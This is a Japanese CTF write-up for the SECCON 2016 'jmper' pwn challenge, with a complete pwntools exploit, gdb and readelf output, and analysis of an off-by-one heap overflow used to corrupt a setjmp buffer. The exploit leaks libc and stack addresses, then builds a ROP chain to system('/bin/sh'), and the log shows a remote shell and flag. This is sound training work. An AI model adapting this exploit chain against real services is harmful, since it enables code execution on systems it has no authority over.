--- lang: ja-jp breaks: true --- jmper === ## 問題概要 ### ジャンル exploit ### 点数 300 points ### 問題文 jmper Host : jmper.pwn.seccon.jp Port : 5656 jmper (SHA1 :78e21967c2de5988876df938559a850e24a000af) libc-2.19.so (SHA1 :8674307c6c294e2f710def8c57925a50e60ee69e) ### フラグ SECCON{3nj0y_my_jmp1n9_serv1ce} ### 挑戦者 ぴんく K_atc ## 解法 詳しいことは議論参照 ```python= from pwn import * from sys import argv # context.log_level = 'debug' def bp(): raw_input("break point: ") LOCAL = True if len(argv) > 1 and argv[1] == "r": LOCAL = False """libc % readelf -s libc-2.24.so| grep " puts@" 403: 0000000000068fe0 528 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.2.5 % readelf -s libc-2.24.so| grep " system@" 1353: 000000000003f4d0 45 FUNC WEAK DEFAULT 13 system@@GLIBC_2.2.5 % strings -tx libc-2.24.so | grep /bin/sh 161359 /bin/sh % readelf -s libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e | grep " puts@" 400: 000000000006fd60 399 FUNC WEAK DEFAULT 12 puts@@GLIBC_2.2.5 % readelf -s libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e | grep " system" 1337: 0000000000046590 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5 % strings -tx libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e | grep /bin/sh 17c8c3 /bin/sh """ BIN = "./jmper" e = ELF(BIN) r = None offset = {} if LOCAL: r = process(BIN) offset = {"puts": 0x68fe0, "system": 0x3f4d0, "/bin/sh": 0x161359, "one_gadget": 0xb8a38} else: r = remote("jmper.pwn.seccon.jp", 5656) # TODO offset = {"puts": 0x6fd60, "system": 0x46590, "/bin/sh": 0x17c8c3, "one_gadget": 0xe66bd} """ Welcome to my class. My class is up to 30 people :) 1. Add student. 2. Name student. 3. Write memo 4. Show Name 5. Show memo. 6. Bye :) """ def add_student(): r.recvuntil("6. Bye :)\n") r.sendline("1") def name_student(_id, name): r.recvuntil("6. Bye :)\n") r.sendline("2") r.recvuntil("ID:") r.sendline(str(_id)) r.recvuntil("Input name:") r.sendline(name) def write_memo(_id, memo): r.recvuntil("6. Bye :)\n") r.sendline("3") r.recvuntil("ID:") r.sendline(str(_id)) r.recvuntil("Input memo:") r.sendline(memo) def show_name(_id): r.recvuntil("6. Bye :)\n") r.sendline("4") r.recvuntil("ID:") r.sendline(str(_id)) return r.recvline().replace("1. Add student.\n", "") def show_memo(_id): r.recvuntil("6. Bye :)\n") r.sendline("5") r.recvuntil("ID:") r.sendline(str(_id)) return r.recvline().replace("1. Add student.\n", "") def bye(): r.recvuntil("6. Bye :)\n") r.sendline("6") add_student() # student 0 add_student() # student 1 log.info('==== [information leak] ====') write_memo(0, "A" * 0x20 + "\x78") name_student(0, p64(e.symbols["jmpbuf"])) ret = show_name(1) jmpbuf = u64(ret.ljust(8, '\0')) print "*jmpbuf = %#x" % jmpbuf write_memo(0, "A" * 0x20 + "\x78") name_student(0, p64(jmpbuf+0x38)) ret = show_name(1) rdx_old = u64(ret.ljust(8, '\0')) print "rdx_old = %#x" % rdx_old puts_got_plt = 0x601fa0 write_memo(0, "A" * 0x20 + "\x78") name_student(0, p64(puts_got_plt)) ret = show_name(1) puts_addr = u64(ret.ljust(8, '\0')) print "puts_addr = %#x" % puts_addr libc_base_addr = puts_addr - offset["puts"] print "libc base address = %#x" % libc_base_addr system_addr = libc_base_addr + offset["system"] print "system = %#x" % system_addr binsh_addr = libc_base_addr + offset["/bin/sh"] print "'/bin/sh' = %#x" % binsh_addr write_memo(0, "A" * 0x20 + "\x78") name_student(0, p64(jmpbuf + 0x18)) ret = show_name(1) ebp = u64(ret.ljust(8, '\0')) ebp -= 0x2a0 - 0x1c0 print "ebp = %#x" % ebp log.info('==== [rewrite jmpbuf] ====') def ror(v, y): return ((v >> y) | (v << (64 - y))) & (2 ** 64 - 1) def rol(v, y): return ((v << y) | (v >> (64 - y))) & (2 ** 64 - 1) """rop gdb-peda$ asmsearch "pop rdi; ret" Searching for ASM code: 'pop rdi; ret' in: binary ranges 0x00400cc3 : (5fc3) pop rdi; ret """ pop_rdi_addr = 0x00400cc3 ROP = ''.join([ p64(pop_rdi_addr), p64(binsh_addr), # arg1 p64(system_addr), # system(*) ]) # TARGET_RIP = 0x114514 # TARGET_RIP = libc_base_addr + offset["one_gadget"] # TARGET_RIP = ebp # x = ror(rdx_old, 0x11) ^ 0x400c31 # rdx_new = rol(TARGET_RIP ^ x, 0x11) # JMPBUF = ''.join([ # p64(rdx_new), # jmpbuf+0x38 # ]) # up to 0x20 byes # write_memo(0, "A" * 0x20 + "\x78") # name_student(0, p64(jmpbuf + 0x38)) # name_student(1, JMPBUF) write_memo(0, "A" * 0x20 + "\x78") name_student(0, p64(ebp + 0x8)) name_student(1, ROP) for i in range(2, 30): add_student() bp() # evoke longjmp() r.recvuntil("6. Bye :)\n") r.sendline("1") print r.recvline() r.interactive() ``` ``` [katc@K_atc jmper]$ python2 jmper2.py r [+] Opening connection to jmper.pwn.seccon.jp on port 5656: Done [*] ==== [information leak] ==== *jmpbuf = 0x1374110 rdx_old = 0x0 puts_addr = 0x7eff3c942d60 libc base address = 0x7eff3c8d3000 system = 0x7eff3c919590 '/bin/sh' = 0x7eff3ca4f8c3 ebp = 0x7ffea0869f00 [*] ==== [rewrite jmpbuf] ==== break point: Exception has occurred. Jump! [*] Switching to interactive mode Nice jump! Bye :) $ ls flag jmper $ cat flag SECCON{3nj0y_my_jmp1n9_serv1ce} [*] Got EOF while reading in interactive ``` ## 議論 気づき: * heap問~~ぽい~~ * my_classとjmpbufという構造体ないしは配列あり * しふくろくん作問なら80%知識問な気がする(確信レベル) * glibc mallocのチャンクの知識は不要 * off-by-one errorで何か書き換えられる? 解法: 1. setjmp()→f() 2. ヒープオーバーフローからのjmpbuf破壊 1. longjmpによる破壊済みcontextの復帰 2. One-Gadget RCE(確度60%) * 文脈的にスタックを使用せずにシェルを呼ぶ問題な気がする TODO: - [x] mainをデコンパイル - [x] fをデコンパイル[@ぴんく f()をhopperでdecomplieしたやつ](https://hackmd.io/GwYwjAJghlBGBmBaATAZlQFkRgpsA7IlGAAwAci8U8EOys+UqwYQA===) - [x] __f()でmy_classをヒープオーバーフローさせられるか?__(=off-by-one error) - [x] \*jmpbufのリーク - [x] longjmp後にRIPを取れるかどうか - [x] One-Gadgetのアドレス調査【ローカル:可、リモート:不可】 - 【後日談】rspを空っぽのところに向けていれば可能だった - [ ] ~~rdi = &"/bin/sh", rip = system~~ (`_longjmp`でrdiを使用するため不可) - [x] jmpbufから$rbpをリーク可能→system("/bin/sh") ROP ### 表層調査 ``` gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : FULL gdb-peda$ i func \@plt All functions matching regular expression "\@plt": Non-debugging symbols: 0x0000000000400680 puts@plt 0x0000000000400690 printf@plt 0x00000000004006a0 __libc_start_main@plt 0x00000000004006b0 _setjmp@plt 0x00000000004006c0 getchar@plt 0x00000000004006d0 __gmon_start__@plt 0x00000000004006e0 malloc@plt 0x00000000004006f0 setvbuf@plt 0x0000000000400700 longjmp@plt 0x0000000000400710 __isoc99_scanf@plt 0x0000000000400720 exit@plt ``` * SSPが無いので単純なスタックオーバーフローからのRIP奪取の可能性あり * スタック上にシェルコードを置く問題ではない * GOT書き換えは可能(?) * free@pltが無いのでUnlink Attackはノーチャン ``` gdb-peda$ vmmap Start End Perm Name 0x00400000 0x00401000 r-xp /home/katc/Dropbox/CTF/SECCON-2016-Quals/jmper/jmper 0x00601000 0x00602000 r--p /home/katc/Dropbox/CTF/SECCON-2016-Quals/jmper/jmper 0x00602000 0x00603000 rw-p /home/katc/Dropbox/CTF/SECCON-2016-Quals/jmper/jmper 0x00603000 0x00624000 rw-p [heap] 0x00007ffff7a3c000 0x00007ffff7bd1000 r-xp /usr/lib/libc-2.24.so 0x00007ffff7bd1000 0x00007ffff7dd0000 ---p /usr/lib/libc-2.24.so 0x00007ffff7dd0000 0x00007ffff7dd4000 r--p /usr/lib/libc-2.24.so 0x00007ffff7dd4000 0x00007ffff7dd6000 rw-p /usr/lib/libc-2.24.so 0x00007ffff7dd6000 0x00007ffff7dda000 rw-p mapped 0x00007ffff7dda000 0x00007ffff7dfd000 r-xp /usr/lib/ld-2.24.so 0x00007ffff7fb2000 0x00007ffff7fb4000 rw-p mapped 0x00007ffff7ff8000 0x00007ffff7ffa000 r--p [vvar] 0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp [vdso] 0x00007ffff7ffc000 0x00007ffff7ffd000 r--p /usr/lib/ld-2.24.so 0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p /usr/lib/ld-2.24.so 0x00007ffff7ffe000 0x00007ffff7fff000 rw-p mapped 0x00007ffffffde000 0x00007ffffffff000 rw-p [stack] 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] ``` * わざとらしい実行可能領域なし ``` root@kali:~/Desktop# readelf -r jmper Relocation section '.rela.dyn' at offset 0x4f8 contains 3 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000601ff8 000600000006 R_X86_64_GLOB_DAT 0000000000000000 __gmon_start__ + 0 000000602010 000c00000005 R_X86_64_COPY 0000000000602010 stdout@GLIBC_2.2.5 + 0 000000602018 000d00000005 R_X86_64_COPY 0000000000602018 stdin@GLIBC_2.2.5 + 0 Relocation section '.rela.plt' at offset 0x540 contains 11 entries: Offset Info Type Sym. Value Sym. Name + Addend 000000601fa0 000100000007 R_X86_64_JUMP_SLO 0000000000000000 puts@GLIBC_2.2.5 + 0 000000601fa8 000200000007 R_X86_64_JUMP_SLO 0000000000000000 printf@GLIBC_2.2.5 + 0 000000601fb0 000300000007 R_X86_64_JUMP_SLO 0000000000000000 __libc_start_main@GLIBC_2.2.5 + 0 000000601fb8 000400000007 R_X86_64_JUMP_SLO 0000000000000000 _setjmp@GLIBC_2.2.5 + 0 000000601fc0 000500000007 R_X86_64_JUMP_SLO 0000000000000000 getchar@GLIBC_2.2.5 + 0 000000601fc8 000600000007 R_X86_64_JUMP_SLO 0000000000000000 __gmon_start__ + 0 000000601fd0 000700000007 R_X86_64_JUMP_SLO 0000000000000000 malloc@GLIBC_2.2.5 + 0 000000601fd8 000800000007 R_X86_64_JUMP_SLO 0000000000000000 setvbuf@GLIBC_2.2.5 + 0 000000601fe0 000900000007 R_X86_64_JUMP_SLO 0000000000000000 longjmp@GLIBC_2.2.5 + 0 000000601fe8 000a00000007 R_X86_64_JUMP_SLO 0000000000000000 __isoc99_scanf@GLIBC_2.7 + 0 000000601ff0 000b00000007 R_X86_64_JUMP_SLO 0000000000000000 exit@GLIBC_2.2.5 + 0 ``` * xinetd型 * mallocがある * SETJMP, LONGJMP(下のMAN参照されたし) ↑exploitに関係あるの?←longjmp呼び出し時にcontextの復元が発生するのがミソなのかな?と ### ヒープオーバーフローの可能性 ``` gdb-peda$ b *0x400c2c gdb-peda$ r gdb-peda$ p/x my_class $3 = 0x603010 gdb-peda$ p/x jmpbuf $4 = 0x603110 gdb-peda$ x/2xg my_class-8 0x603008: 0x0000000000000101 0x0000000000000000 ``` * 典型的な並び(jmpbufを壊してくださいと言っている) * my_classのmalloc要求サイズは0xf0、チャンクサイズは0x100 ![](https://i.imgur.com/ZZBrl6a.png) Nice jumpさせたい←登録した生徒の人数が30人超えれば自動でなる?→なった(以下参照) ![](https://i.imgur.com/bkh9WhS.png) heap bof 案: * Add studentすることなく、`student_num` を30よりも大きい値にする 制限事項: * ユーザー入力のIDは非負整数かつstument_numよりも小さいこと ```C loc_400a16: printf("%s", "Input memo:"); tmp = *(*my_class + sign_extend_64(id) * 0x8) + 0x8; for (i = 0x0; i <= 0x20; i = i + 0x1) { c = getchar(); if (c == '\n') { break; } *(int8_t *)student_index = c & 0xff; tmp = tmp + 0x1; } goto loc_40082f; ``` * 入力を取るところの構文は共通 * off-by-one errorあるんだけど役立つように見えない←それ * student->m28(name)のアドレスの下位1バイトを書き換えることはできる * 生徒0のnameはjmpbufの少し後ろにくる(+0x110) 生徒を30人Allocateし、memoを取ったときのヒープ ``` gdb-peda$ x/32x *my_class 0xeef1e0: 0x0000000000000000 0x30746e6541414141 0xeef1f0: 0x4141414141414141 0x4141414141414141 0xeef200: 0x4141414141414141 0x0000000000eef241 ~~ off-by-one 0xeef210: 0x0000000000000000 0x0000000000000031 0xeef220: 0x0000000000000000 0x0000000000000000 0xeef230: 0x0000000000000000 0x0000000000000000 0xeef240: 0x0000000000000000 0x0000000000000041 0xeef250: 0x0000000000000001 0x31746e6541414141 0xeef260: 0x4141414141414141 0x4141414141414141 0xeef270: 0x4141414141414141 0x0000000000eef241 0xeef280: 0x0000000000000000 0x0000000000000031 0xeef290: 0x0000000000000000 0x0000000000000000 0xeef2a0: 0x0000000000000000 0x0000000000000000 0xeef2b0: 0x0000000000000000 0x0000000000000041 0xeef2c0: 0x0000000000000002 0x32746e6541414141 0xeef2d0: 0x4141414141414141 0x4141414141414141 gdb-peda$ x/16xg jmpbuf 0x1fd0110: 0x0000000000000000 0x913fb48ce746087b 0x1fd0120: 0x0000000000400730 0x00007ffc917484a0 0x1fd0130: 0x0000000000000000 0x0000000000000000 0x1fd0140: 0x913fb48ce7a6087b 0x6ec696e5f8a4087b 0x1fd0150: 0x0000000000000000 0x0000000000000000 0x1fd0160: 0x0000000000000000 0x0000000000000000 0x1fd0170: 0x0000000000000000 0x0000000000000000 0x1fd0180: 0x0000000000000000 0x0000000000000000 gdb-peda$ p/x jmpbuf $2 = 0x1fd0110 ~~ my_class[0] == 0x1fd01e0 ~~ my_class[0]->m28 = 0x0000000001fd0220 ←20は書き換えられる ~~~~ ``` ①最初: ``` 0x0110: 0x??? memo[0:8] 0x0120: memo[8:16] memo[16:24] 0x0130: memo[24:32] 0x0220(name_ptr) ``` ②off-by-one error後、nameのポインタが生徒1のnameの位置を指す: ``` 0x0110: 0x??? memo[0:8] 0x0120: memo[8:16] memo[16:24] 0x0130: memo[24:32] 0x0258(name_ptr) ... sniped ... 0x0270: 0x??? (name)←生徒0の名前で書き換え可能 0x0280: ... snipped ... ``` ③生徒0の名前(=`jmpbuf`【※要リーク】)をつける: ``` 0x0110: 0x??? memo[0:8] 0x0120: memo[8:16] memo[16:24] 0x0130: memo[24:32] 0x0258(name_ptr) ... sniped ... 0x0250: 0x??? jmpbuf 0x0260: ... snipped ... ``` ④生徒1の名前を書く: my_class[1]->m28 = user_input (0x21bytes) は jmpbuf = user_input (0x21bytes) と同等 ### jmpbuf f()呼び出し直前のjmpbufの中身: ``` gdb-peda$ x/16xg jmpbuf 0x603110: 0x0000000000000000 0xe75f6d039676f11f 0x603120: 0x0000000000400730 0x00007fffffffe2a0 0x603130: 0x0000000000000000 0x0000000000000000 0x603140: 0xe75f6d039696f11f 0x18a0927c4d94f11f 0x603150: 0x0000000000000000 0x0000000000000000 0x603160: 0x0000000000000000 0x0000000000000000 0x603170: 0x0000000000000000 0x0000000000000000 0x603180: 0x0000000000000000 0x0000000000000000 gdb-peda$ i r rax 0x0 0x0 rbx 0x0 0x0 rcx 0x7ffff7dd4ae0 0x7ffff7dd4ae0 rdx 0xe75f6d039696f11f 0xe75f6d039696f11f rsi 0x0 0x0 rdi 0x603110 0x603110 rbp 0x7fffffffe1c0 0x7fffffffe1c0 rsp 0x7fffffffe1b0 0x7fffffffe1b0 rip 0x400c34 0x400c34 <main+140> ``` setjmp()直前 ``` RBP: 0x7fffffffe1c0 --> 0x400c60 (<__libc_csu_init>: push r15) RSP: 0x7fffffffe1b0 --> 0x7fffffffe2a0 --> 0x1 RIP: 0x400c2c (<main+132>: call 0x4006b0 <_setjmp@plt>) ``` * レジスタの値が入ってますな - - - http://www.nurs.or.jp/~sug/soft/super/longjmp.htm `__jmp_buf` の定義は、Linux だと bits/setjmp.h にある。 ```C #if defined __USE_MISC || defined _ASM # define JB_BX 0 /* それぞれ、レジスタの名前 */ # define JB_SI 1 # define JB_DI 2 # define JB_BP 3 /* ベースポインタ */ # define JB_SP 4 /* スタックポインタ */ # define JB_PC 5 /* プログラムカウンタ */ #endif #ifndef _ASM typedef int __jmp_buf[6]; /* 要するに __jmp_buf は int 6個の配列 */ #endif ``` ### _longjmp ```asm gdb-peda$ disas __longjmp Dump of assembler code for function __longjmp: 0x00007fcf4f3e1160 <+0>: mov r8,QWORD PTR [rdi+0x30] 0x00007fcf4f3e1164 <+4>: mov r9,QWORD PTR [rdi+0x8] 0x00007fcf4f3e1168 <+8>: mov rdx,QWORD PTR [rdi+0x38] 0x00007fcf4f3e116c <+12>: ror r8,0x11 0x00007fcf4f3e1170 <+16>: xor r8,QWORD PTR [rip+0x209ad9] # 0x7fcf4f5eac50 <__pointer_chk_guard_local> 0x00007fcf4f3e1177 <+23>: ror r9,0x11 0x00007fcf4f3e117b <+27>: xor r9,QWORD PTR [rip+0x209ace] # 0x7fcf4f5eac50 <__pointer_chk_guard_local> 0x00007fcf4f3e1182 <+34>: ror rdx,0x11 0x00007fcf4f3e1186 <+38>: xor rdx,QWORD PTR [rip+0x209ac3] # 0x7fcf4f5eac50 <__pointer_chk_guard_local> 0x00007fcf4f3e118d <+45>: mov rbx,QWORD PTR [rdi] 0x00007fcf4f3e1190 <+48>: mov r12,QWORD PTR [rdi+0x10] 0x00007fcf4f3e1194 <+52>: mov r13,QWORD PTR [rdi+0x18] 0x00007fcf4f3e1198 <+56>: mov r14,QWORD PTR [rdi+0x20] 0x00007fcf4f3e119c <+60>: mov r15,QWORD PTR [rdi+0x28] 0x00007fcf4f3e11a0 <+64>: mov eax,esi 0x00007fcf4f3e11a2 <+66>: mov rsp,r8 0x00007fcf4f3e11a5 <+69>: mov rbp,r9 0x00007fcf4f3e11a8 <+72>: jmp rdx End of assembler dump. ``` ### MAN page of SETJMP, LONGJMP https://linuxjm.osdn.jp/html/LDP_man-pages/man3/setjmp.3.html ```C void longjmp(jmp_buf env, int val); int setjmp(jmp_buf env); ``` #### 名前 setjmp, sigsetjmp - 非局所的なジャンプのために、スタックコンテキスト (stack context) を保存する #### 説明 setjmp() と longjmp(3) は、プログラムの低レベルなサブルーチン において、エラーや割り込みが発生した時の処理に便利である。 setjmp() は、 longjmp(3) によって使われる env に スタックコンテキスト/スタック環境を保存する。 setjmp() を呼び出した 関数が返るときに、そのスタックコンテキストは無効になる。 longjmp() は、__env 引き数を指定して呼び出された最後の setjmp(3) によって保存された環境を復元する__。 longjmp() の完了後、__プログラムの実行は、まるで対応する setjmp(3) の呼び出しが値 val で返って来たかように続行される__。 longjmp() は 0 を返すように指示することはできない。 二番目の引き数に 0 を指定して longjmp() が呼ばれた場合は、代わりに 1 が返されることになる。 #### 返り値 直接返ってくるときは、 setjmp() と sigsetjmp() は 0 を返し、保存したコンテキストを使って longjmp(3) や siglongjmp(3) から返ってくるときは 0 以外を返す。 ### 配布されたlibcにおけるOne-Gadget TODO ### コード置き場 ```python from pwn import * from sys import argv # context.log_level = 'debug' def bp(): raw_input("break point: ") LOCAL = True if len(argv) > 1 and argv[1] == "r": LOCAL = False BIN = "./jmper" e = ELF(BIN) r = None offset = {} if LOCAL: r = process(BIN) offset = {"setbuf": 0x66e20, "system": 0x3af40, "/bin/sh": 0x15ef08} else: r = remote("cheermsg.pwn.seccon.jp", 30527) offset = {"setbuf": 0x67b20, "system": 0x40310, "/bin/sh": 0x16084c} """ Welcome to my class. My class is up to 30 people :) 1. Add student. 2. Name student. 3. Write memo 4. Show Name 5. Show memo. 6. Bye :) """ def add_student(): r.recvuntil("6. Bye :)\n") r.sendline("1") def name_student(_id, name): r.recvuntil("6. Bye :)\n") r.sendline("2") r.recvuntil("ID:") r.sendline(str(_id)) r.recvuntil("Input name:") r.sendline(name) def write_memo(_id, memo): r.recvuntil("6. Bye :)\n") r.sendline("3") r.recvuntil("ID:") r.sendline(str(_id)) r.recvuntil("Input memo:") r.sendline(memo) def show_name(_id): r.recvuntil("6. Bye :)\n") r.sendline("4") r.recvuntil("ID:") r.sendline(str(_id)) return r.recvline().replace("1. Add student.\n", "") def show_memo(_id): r.recvuntil("6. Bye :)\n") r.sendline("5") r.recvuntil("ID:") r.sendline(str(_id)) return r.recvline().replace("1. Add student.\n", "") def bye(): r.recvuntil("6. Bye :)\n") r.sendline("6") for i in range(30): add_student() r.interactive() ```